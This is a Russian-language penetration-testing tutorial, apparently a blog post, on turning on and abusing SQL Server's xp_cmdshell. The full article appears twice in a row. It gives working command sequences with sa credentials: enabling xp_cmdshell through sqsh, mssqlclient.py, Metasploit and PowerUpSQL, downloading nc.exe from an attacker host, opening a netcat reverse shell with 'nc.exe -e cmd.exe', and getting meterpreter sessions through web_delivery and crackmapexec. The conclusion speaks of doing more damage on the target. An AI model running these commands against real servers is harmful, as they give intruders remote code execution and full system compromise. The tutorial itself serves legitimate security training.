MSSQL для пентестера: выполнение команд с помощью xp_cmdshell
Сегодняшняя статья - третья из серии о сервере MSSQL и его тестировании на проникновение. В этой статье мы будем обнаруживать и эксплуатировать аспекты безопасности функциональности xp_cmdshell.
Введение
Все действия в этой статье будут представлены на сервере MSSQL. Ранее мы кратко обсуждали использование функциональности xp_cmdshell с помощью модуля Metasploit: exploit/windows/mssql/mssql_payload. Хотя в этой статье мы не объясняли предысторию функциональности xp_cmdshell и ее аспекта безопасности, которые мы обсудим.
Что такое xp_cmdshell?
Согласно официальной документации Microsoft, xp_cmdshell - это функция, которая порождает командную оболочку Windows и передает строку для выполнения. Любой вывод, который она генерирует, отображается в формате текста. Чтобы упростить, мы можем сказать, что она позволяет администраторам базы данных получать доступ и выполнять любой внешний процесс непосредственно с SQL Server. Реализацию xp_cmdshell можно проследить до SQL Server 6.5. Она была разработана для использования SQL-запросов для автоматизации различных задач, которые потребовали бы дополнительного программирования и работы. Теперь, когда у нас есть некоторые знания о xp_cmdshell, мы можем увидеть, как его можно включить на сервере SQL.
Включение xp_cmdshell
Вручную (через графический интерфейс)
По умолчанию функция xp_cmdshell отключена на сервере SQL. Чтобы включить его, нам нужны права администратора. В примере ниже мы используем учетные данные пользователя SA для входа на сервер SQL.
Теперь, когда у нас есть экземпляр SQL, запущенный от имени администратора, нам нужно получить доступ к разделу обозревателя объектов. Здесь у нас есть экземпляр SQL Server; мы щелкаем правой кнопкой мыши по экземпляру, чтобы найти раскрывающееся меню. Нам нужно выбрать опцию "Facets" в этом меню, как показано ниже:
При нажатии на опцию Facets откроется новое окно. В нем будет поле с различными типами доступных Facets. Нам нужно выбрать Facets Surface Area Configuration из раскрывающегося меню, как показано на изображении ниже:
После выбора строчки surface area configuration мы видим, что для параметра XPCmdShellEnabled установлено значение false.
Щелкнув опцию командной оболочки XP, мы изменим ее значение с false на true, как показано на рисунке ниже. Таким образом, мы можем включить командную оболочку XP с помощью графического пользовательского интерфейса на сервере Windows MSSQL.
sqsh
Затем мы используем инструмент sqsh на машине kali. Чтобы проверить, включен ли параметр командной оболочки XP на целевой машине или нет. Синтаксис для использования этого инструмента довольно прост: сначала введите sqsh с -S и целевым IP-адресом, затем -U с именем пользователя администратора сервера и -P с паролем для этого конкретного пользователя, как показано на изображении ниже.
sqsh -S 192.168.1.146 -U sa -P "Password@1"
xp_cmdshell 'whoami';
go
Как видно из изображения, SQL Server заблокировал доступ к командной оболочке процедуры; поэтому мы включим его сейчас. Чтобы включить командную оболочку XP на целевой машине с помощью SQSH, мы выполним серию команд, которые сначала покажут расширенные параметры, доступные в параметре конфигурации SP. Затем мы выберем опцию командной оболочки XP и активируем ее. Наконец, мы запустим команду reconfigure, которая включит опцию XP на целевой машине, как показано на изображении, приведенном ниже.
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
Активацию можно проверить, проверив аналогично тому, что мы делали с опцией GUI, как и раньше.
mssqlclient.py
MS SQL состоит из служб Windows, имеющих учетные записи служб. Каждый раз, когда устанавливается экземпляр SQLserver, также устанавливается набор служб Windows с уникальными именами. Ниже приведены типы учетных записей SQL Server:
- Windows Accounts
- SQL Server Login
- DB Users
Чтобы использовать mssqlclient.py, нам нужно указать имя пользователя, домен, пароль, целевой IP-адрес и порт, на котором размещается служба MSSQL, как показано на изображении. Здесь мы можем использовать команду enable_xp_cmdshell, чтобы включить функциональность командной оболочки на целевой машине.
python3 mssqlclient.py WORKGROUP/sa:Password@1@192.168.1.146 -port 1433
enable_xp_cmdshell
Опять же, мы можем проверить это аналогично тому, как мы это сделали с GUI и подходом sqsh. Здесь мы видим, что мы смогли включить функциональность командной оболочки XP с помощью mssqlclient, который является частью набора инструментов Impact.
Ранее mssqlclient.py использовался для подключения к базе данных через учетные данные базы данных с именем пользователя SA. Теперь мы подключаемся к базе данных с помощью учетных данных пользователя Windows.
python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-auth
enable_xp_cmdshell
Metasploit
Как обычно, Metasploit также играет свою роль для включения командной оболочки XP и помогает нам эксплуатировать цель и обеспечить сеанс.
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit
Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.
Использование xp_cmdshell
Metasploit
Вы можете использовать другой эксплойт mssql_exec, который в первую очередь включает оболочку xp_cmd, и мы также можем установить любую исполняемую команду cmd. Здесь мы устанавливаем команду cmd на "ipconfig"
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.146
set password Password@1
set cmd "ipconfig"
exploit
Netcat
Здесь мы можем использовать netcat, чтобы получить реверс соединение на целевой машине. Для этого нам сначала нужно передать двоичный файл netcat на компьютер Windows. Для этого воспользуемся исполняемым файлом nc.exe. Этот файл находится в /usr/share/windows-binaries. Затем мы можем использовать однострочный Python файл для создания службы HTTP.
cd /usr/share/windows-binaries
ls -al
python -m SimpleHTTPServer 80
Здесь командлет powershell.exe вызывает PowerShell, а затем использует команду wget для загрузки netcat в каталог C: /Users /Public, который имеет доступ для записи. Затем мы будем использовать командную оболочку XP для выполнения двоичного файла netcat для запуска cmd.exe. Для создания обратного подключения к хосту Kali через порт 4444.
xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"
В Kali Linux у нас есть прослушиватель netcat на порту 4444; как только команда PowerShell выполнится, как показано на скриншоте выше, мы получим оболочку целевой машины.
nc -lvp 4444
whoami
Crackmapexec
Другой способ получить реверс соединение на целевой машине с помощью функциональности командной оболочки MSSQL XP - использовать ее способность запускать системные команды, связанные с полезной нагрузкой web_delivery. Процесс довольно простой; мы используем эксплойт exploit/multi/script/web_delivery, устанавливаем цель как машину Windows, затем устанавливаем полезную нагрузку как windows/meterpeter/reverse_tcp. Затем указываем localhost. Наконец, мы запустим команду эксплойта.
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/revese_tcp
set lhost 192.168.1.2
exploit
С помощью вышеупомянутого эксплойта мы получаем URL-адрес web_delivery, и этот URL-адрес мы будем использовать при выполнении crackmapexec, команды web_delivery.
crackmapexec mssql 192.168.1.146 -u 'ignite' -p 'Password@123' -M web_delivery -o URL=http://192.168.1.2:8080/om6cxs3B
Вывод crackmapexec показывает, что целевая машина была взломана. Мы можем вернуться к оболочке Metasploit и обнаружить, что цель была успешно взломана, и у нас есть оболочка meterpreter на целевой машине.
Nmap
Как мы знаем, функция XP-cmd отключена по умолчанию, но если у нас есть учетные данные системного администратора, мы также можем поиграться со сценарием Nmap для выполнения команд Windows.
nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.passsword=Password@1,ms-sql-xp-cmdshell.cmd=’net user’ 192.168.1.146
PowerUpSQL
Сначала загрузите PowerUpSql отсюда https://github.com/NetSPI/PowerUpSQL. PowerUpSQL - это инструмент для компьютеров под управлением Windows, включающий функции, поддерживающие обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий и действия после эксплуатации, такие как выполнение команд ОС.
Мы можем использовать командлет Import-Module для импорта сценария PowerShell. Затем используйте функцию Invoke-SQLOSCmd, которая запускает команды ОС через оболочку xp_cmd через учетную запись службы SQL.
Здесь PowerUpSQL пытается подключиться к базе данных. После успешного подключения скрипт проверяет, являются ли предоставленные нами учетные данные для системного администратора или предоставленные нами обычную пользователи доступ уровня системного администратора или нет. Сначала он включает расширенные параметры, а затем пытается включить командную оболочку XP. Здесь, в этой демонстрации, функциональность команд XP уже включена, поэтому инструмент запускает команду whoami, которая показывает, что мы являемся пользователем и пользователем nt service/MSSQL$sqlexpress.
cd PowerUPSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command whoami –Verbose
Заключение
Эта статья была разработана, чтобы предоставить пользователям возможный контент, который может помочь им, когда они захотят выполнить тестирование на проникновение на серверах MSSQL, используя функциональные возможности командной оболочки XP. Цель этой статьи не в том, чтобы размышлять о том, как пользователь может получить учетные данные или как повысить уровень доступа до системного администратора. Вместо этого, когда или если пользователь может получить эти привилегии, он может перейти к извлечению и выполнению нескольких команд в целевой системе и нанести больший ущерб.
Сегодняшняя статья - третья из серии о сервере MSSQL и его тестировании на проникновение. В этой статье мы будем обнаруживать и эксплуатировать аспекты безопасности функциональности xp_cmdshell.
Введение
Все действия в этой статье будут представлены на сервере MSSQL. Ранее мы кратко обсуждали использование функциональности xp_cmdshell с помощью модуля Metasploit: exploit/windows/mssql/mssql_payload. Хотя в этой статье мы не объясняли предысторию функциональности xp_cmdshell и ее аспекта безопасности, которые мы обсудим.
Что такое xp_cmdshell?
Согласно официальной документации Microsoft, xp_cmdshell - это функция, которая порождает командную оболочку Windows и передает строку для выполнения. Любой вывод, который она генерирует, отображается в формате текста. Чтобы упростить, мы можем сказать, что она позволяет администраторам базы данных получать доступ и выполнять любой внешний процесс непосредственно с SQL Server. Реализацию xp_cmdshell можно проследить до SQL Server 6.5. Она была разработана для использования SQL-запросов для автоматизации различных задач, которые потребовали бы дополнительного программирования и работы. Теперь, когда у нас есть некоторые знания о xp_cmdshell, мы можем увидеть, как его можно включить на сервере SQL.
Включение xp_cmdshell
Вручную (через графический интерфейс)
По умолчанию функция xp_cmdshell отключена на сервере SQL. Чтобы включить его, нам нужны права администратора. В примере ниже мы используем учетные данные пользователя SA для входа на сервер SQL.
Теперь, когда у нас есть экземпляр SQL, запущенный от имени администратора, нам нужно получить доступ к разделу обозревателя объектов. Здесь у нас есть экземпляр SQL Server; мы щелкаем правой кнопкой мыши по экземпляру, чтобы найти раскрывающееся меню. Нам нужно выбрать опцию "Facets" в этом меню, как показано ниже:
При нажатии на опцию Facets откроется новое окно. В нем будет поле с различными типами доступных Facets. Нам нужно выбрать Facets Surface Area Configuration из раскрывающегося меню, как показано на изображении ниже:
После выбора строчки surface area configuration мы видим, что для параметра XPCmdShellEnabled установлено значение false.
Щелкнув опцию командной оболочки XP, мы изменим ее значение с false на true, как показано на рисунке ниже. Таким образом, мы можем включить командную оболочку XP с помощью графического пользовательского интерфейса на сервере Windows MSSQL.
sqsh
Затем мы используем инструмент sqsh на машине kali. Чтобы проверить, включен ли параметр командной оболочки XP на целевой машине или нет. Синтаксис для использования этого инструмента довольно прост: сначала введите sqsh с -S и целевым IP-адресом, затем -U с именем пользователя администратора сервера и -P с паролем для этого конкретного пользователя, как показано на изображении ниже.
sqsh -S 192.168.1.146 -U sa -P "Password@1"
xp_cmdshell 'whoami';
go
Как видно из изображения, SQL Server заблокировал доступ к командной оболочке процедуры; поэтому мы включим его сейчас. Чтобы включить командную оболочку XP на целевой машине с помощью SQSH, мы выполним серию команд, которые сначала покажут расширенные параметры, доступные в параметре конфигурации SP. Затем мы выберем опцию командной оболочки XP и активируем ее. Наконец, мы запустим команду reconfigure, которая включит опцию XP на целевой машине, как показано на изображении, приведенном ниже.
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
Активацию можно проверить, проверив аналогично тому, что мы делали с опцией GUI, как и раньше.
mssqlclient.py
MS SQL состоит из служб Windows, имеющих учетные записи служб. Каждый раз, когда устанавливается экземпляр SQLserver, также устанавливается набор служб Windows с уникальными именами. Ниже приведены типы учетных записей SQL Server:
- Windows Accounts
- SQL Server Login
- DB Users
Чтобы использовать mssqlclient.py, нам нужно указать имя пользователя, домен, пароль, целевой IP-адрес и порт, на котором размещается служба MSSQL, как показано на изображении. Здесь мы можем использовать команду enable_xp_cmdshell, чтобы включить функциональность командной оболочки на целевой машине.
python3 mssqlclient.py WORKGROUP/sa:Password@1@192.168.1.146 -port 1433
enable_xp_cmdshell
Опять же, мы можем проверить это аналогично тому, как мы это сделали с GUI и подходом sqsh. Здесь мы видим, что мы смогли включить функциональность командной оболочки XP с помощью mssqlclient, который является частью набора инструментов Impact.
Ранее mssqlclient.py использовался для подключения к базе данных через учетные данные базы данных с именем пользователя SA. Теперь мы подключаемся к базе данных с помощью учетных данных пользователя Windows.
python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-auth
enable_xp_cmdshell
Metasploit
Как обычно, Metasploit также играет свою роль для включения командной оболочки XP и помогает нам эксплуатировать цель и обеспечить сеанс.
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit
Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.
Использование xp_cmdshell
Metasploit
Вы можете использовать другой эксплойт mssql_exec, который в первую очередь включает оболочку xp_cmd, и мы также можем установить любую исполняемую команду cmd. Здесь мы устанавливаем команду cmd на "ipconfig"
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.146
set password Password@1
set cmd "ipconfig"
exploit
Netcat
Здесь мы можем использовать netcat, чтобы получить реверс соединение на целевой машине. Для этого нам сначала нужно передать двоичный файл netcat на компьютер Windows. Для этого воспользуемся исполняемым файлом nc.exe. Этот файл находится в /usr/share/windows-binaries. Затем мы можем использовать однострочный Python файл для создания службы HTTP.
cd /usr/share/windows-binaries
ls -al
python -m SimpleHTTPServer 80
Здесь командлет powershell.exe вызывает PowerShell, а затем использует команду wget для загрузки netcat в каталог C: /Users /Public, который имеет доступ для записи. Затем мы будем использовать командную оболочку XP для выполнения двоичного файла netcat для запуска cmd.exe. Для создания обратного подключения к хосту Kali через порт 4444.
xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"
В Kali Linux у нас есть прослушиватель netcat на порту 4444; как только команда PowerShell выполнится, как показано на скриншоте выше, мы получим оболочку целевой машины.
nc -lvp 4444
whoami
Crackmapexec
Другой способ получить реверс соединение на целевой машине с помощью функциональности командной оболочки MSSQL XP - использовать ее способность запускать системные команды, связанные с полезной нагрузкой web_delivery. Процесс довольно простой; мы используем эксплойт exploit/multi/script/web_delivery, устанавливаем цель как машину Windows, затем устанавливаем полезную нагрузку как windows/meterpeter/reverse_tcp. Затем указываем localhost. Наконец, мы запустим команду эксплойта.
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/revese_tcp
set lhost 192.168.1.2
exploit
С помощью вышеупомянутого эксплойта мы получаем URL-адрес web_delivery, и этот URL-адрес мы будем использовать при выполнении crackmapexec, команды web_delivery.
crackmapexec mssql 192.168.1.146 -u 'ignite' -p 'Password@123' -M web_delivery -o URL=http://192.168.1.2:8080/om6cxs3B
Вывод crackmapexec показывает, что целевая машина была взломана. Мы можем вернуться к оболочке Metasploit и обнаружить, что цель была успешно взломана, и у нас есть оболочка meterpreter на целевой машине.
Nmap
Как мы знаем, функция XP-cmd отключена по умолчанию, но если у нас есть учетные данные системного администратора, мы также можем поиграться со сценарием Nmap для выполнения команд Windows.
nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.passsword=Password@1,ms-sql-xp-cmdshell.cmd=’net user’ 192.168.1.146
PowerUpSQL
Сначала загрузите PowerUpSql отсюда https://github.com/NetSPI/PowerUpSQL. PowerUpSQL - это инструмент для компьютеров под управлением Windows, включающий функции, поддерживающие обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий и действия после эксплуатации, такие как выполнение команд ОС.
Мы можем использовать командлет Import-Module для импорта сценария PowerShell. Затем используйте функцию Invoke-SQLOSCmd, которая запускает команды ОС через оболочку xp_cmd через учетную запись службы SQL.
Здесь PowerUpSQL пытается подключиться к базе данных. После успешного подключения скрипт проверяет, являются ли предоставленные нами учетные данные для системного администратора или предоставленные нами обычную пользователи доступ уровня системного администратора или нет. Сначала он включает расширенные параметры, а затем пытается включить командную оболочку XP. Здесь, в этой демонстрации, функциональность команд XP уже включена, поэтому инструмент запускает команду whoami, которая показывает, что мы являемся пользователем и пользователем nt service/MSSQL$sqlexpress.
cd PowerUPSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command whoami –Verbose
Заключение
Эта статья была разработана, чтобы предоставить пользователям возможный контент, который может помочь им, когда они захотят выполнить тестирование на проникновение на серверах MSSQL, используя функциональные возможности командной оболочки XP. Цель этой статьи не в том, чтобы размышлять о том, как пользователь может получить учетные данные или как повысить уровень доступа до системного администратора. Вместо этого, когда или если пользователь может получить эти привилегии, он может перейти к извлечению и выполнению нескольких команд в целевой системе и нанести больший ущерб.
